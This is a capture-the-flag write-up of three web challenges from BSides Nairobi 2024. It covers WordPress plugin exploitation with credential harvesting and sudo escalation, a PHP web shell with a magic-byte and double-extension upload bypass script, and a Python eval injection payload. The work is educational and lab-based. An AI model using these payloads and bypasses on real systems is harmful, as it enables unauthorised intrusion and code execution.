Bsides Nairobi Cyberchallenge 2024 writeup
This is a writeup for the web challenges in Bsides Nairobi Cyberchallenge held physically at Strathmore university, Nairobi
My team p3rf3ctr00t won , for the second year in a row. :)
Web category
Mr donor
Here we are given a wordpress site. With donation forms.
So first things first, i use wpscan to enumerate the site. There isint alot of content.
1
2
3
4
|
use this to enumerate the users
wpscan --url http://3.85.212.227/ -e u
|
we get one user - admin_magharibi
From the scan we can also see that there is a plugin called “give” version 3.41.0
Looking on the internet we can see that it is vulnerable to CVE-2024-5932 so we can achieve code execution.
I used this exploit » here
In the shell we can see that there are 3 users
- backup_svc
- ctfroom
- ubuntu
checking the contents of wp-config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
/** Database username */
define( 'DB_USER', 'wordpressuser' );
/** Database password */
define( 'DB_PASSWORD', 'roomctfpassword' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '&p`1&)?>Qk=gl`- GRBr^tuc~=M?CSa^jx *?9Tk`+pj?fndQg{&|~SUtf8+K9FN');
define('SECURE_AUTH_KEY', 'Okb-xgA4s`znPZ7?gxIdM$)kQFHcvskp& )K67 -YM_rftdk#:0.0B}}q?VaK<z<');
define('LOGGED_IN_KEY', '%3$eB%Ne%]s1= `I{5vOs2? EBbn@&{|>.sO?is~XzAN%<O*x-}*k+v}@Xg9RMrD');
define('NONCE_KEY', '$#JLk_v+0T6?i)[sJ(Q#f--bsbIO`KS(>}Foz55T|QU-;+L_7sqr{7oEj/m$_.yF');
define('AUTH_SALT', 'EdGSntZ*0j>pc<^-l^1q`6o^Yf]s|&2BI t|1nwes:i<$jLx*1tJ1~5p)C(}|U-k');
define('SECURE_AUTH_SALT', '+O%(gn.H`zB)znBcp^TR#5EjM`(C>&wX|BGD#rJX?v#bU;OLEzdeoD`.c1_i`Svo');
define('LOGGED_IN_SALT', 'G5x3@)Uw`++abxv sAMrkZtS*`87cfDX>bh-L|SIN!/bZV*^[wC+] nyLP<e6JY]');
define('NONCE_SALT', 'MXp}(a| 7+TGK9-f2-a9*7@Xv}$6h-N<Z13a@_KlF+|Ugo-3<jHcX<WO[hy?XG ]');
|
We can login to the database and read the wordpress users and their passwords. I found the following hash for admin_magharibi: $P$BHFeuYRoSbViPBhP11FqGR0OQ.6N981.
I started cracking it in the background while i looked around.
Checking the crontab…
1
|
0 0 * * 0 sshpass -p 'vnG^W6q%zjt^S' ssh -o StrictHostKeychecking=no -o UserKnownHostsFile=/dev/null backup_svc@127.0.0.1 "cp -R /var/www/wordpress /wp_backup"
|
as you can see teh backup_svc user password is exposed.
Login via ssh as backup_svc, checking what the user can run as sudo…
1
2
3
4
|
sudo -l
we see that the can run any command as sudo without sudo password
|
We get bash shell ad read the flag
372ae41683bd87573a4902d1ed2d58ad
Pixel Blunder
This challenge gave a web interface with a file upload functionality. Seeing this it should click immediately that we are testing file upload vulnerabilities.
The site was checking if the image was valid through the magic bytes.
So we need to craft a php shell with png magic bytes.
1
|
<?php system($_GET['cmd']);?>
|
You can use a full php reverseshell as the payload , i use this since ive mastered it offhead.
Add magic bytes at it now identifies as a png, ill leave the python script below for future reference
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import argparse
import os
def add_hex_to_file(file_path, hex_string, position):
# Convert hex string to bytes
hex_data = bytes.fromhex(hex_string)
# Read the original file content
with open(file_path, 'rb') as f:
original_content = f.read()
# Modify content based on the specified position
if position == "start":
modified_content = hex_data + original_content
elif position == "end":
modified_content = original_content + hex_data
elif position.isdigit():
offset = int(position)
modified_content = original_content[:offset] + hex_data + original_content[offset:]
else:
raise ValueError("Invalid position. Use 'start', 'end', or an integer for custom offset.")
# Write the modified content back to the file
with open(file_path, 'wb') as f:
f.write(modified_content)
print(f"Hex data added to {file_path} at position: {position}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Add hex data to a file at a specified position.")
parser.add_argument("file", help="Path to the file to modify.")
parser.add_argument("hex", help="Hex string to add.")
parser.add_argument("position", help="Position to add hex data ('start', 'end', or an integer for a custom offset).")
args = parser.parse_args()
if not os.path.isfile(args.file):
print("File not found.")
else:
add_hex_to_file(args.file, args.hex, args.position)
|
Uploading the file we still get nothing.
There is still one more step….
Uploading the file the file-extension is stripped and if you know a php web server , it will not try to parse anyfile that doesnt have the proper php file extension.
THe trick for this is to use two extensions so that it strips one and leaves the other like “shell.php.php”
We get a shell and read the /flag.txt
flag{7512a04d-5acd-45d9-b7ba-89467f2ba4ec}
Faceoff
In this challenge we are given a login page, username and password are admin:admin123 , my team mate got these from wherever.
I solved this challenge ten minutes to time so i might not explain properly how i did this.
After loggin in with the creds we are provided with a black page. Looking at the backend we can see that it uses flask . TIP: if you ever see flask in the backend most probably there is SSTI. So you have to look for user controlled input that is being diplayed in the page.
There was a hint for the chal , so i used the word “bsides” as a parameter
1
2
|
http://3.88.113.117/do_something?bsides=<here goes your payload>
|
Trying ssti payloads will give this error
1
|
You have said: Error: unhashable type: 'set
|
I googled it and saw it was caused by python eval(). So we can get code execution by using the payload below
1
|
http://3.88.113.117/do_something?bsides=__import__('os').system('id')
|
Slap a reverse shell and you are good to go.
The flag wa hidden in “do_something/secret” , this i learnt after reading app.py file. Was lucky to get this 2 minutes before time
flag: D0nt_4get_to_wear_Y0r_reflective_j4ck37s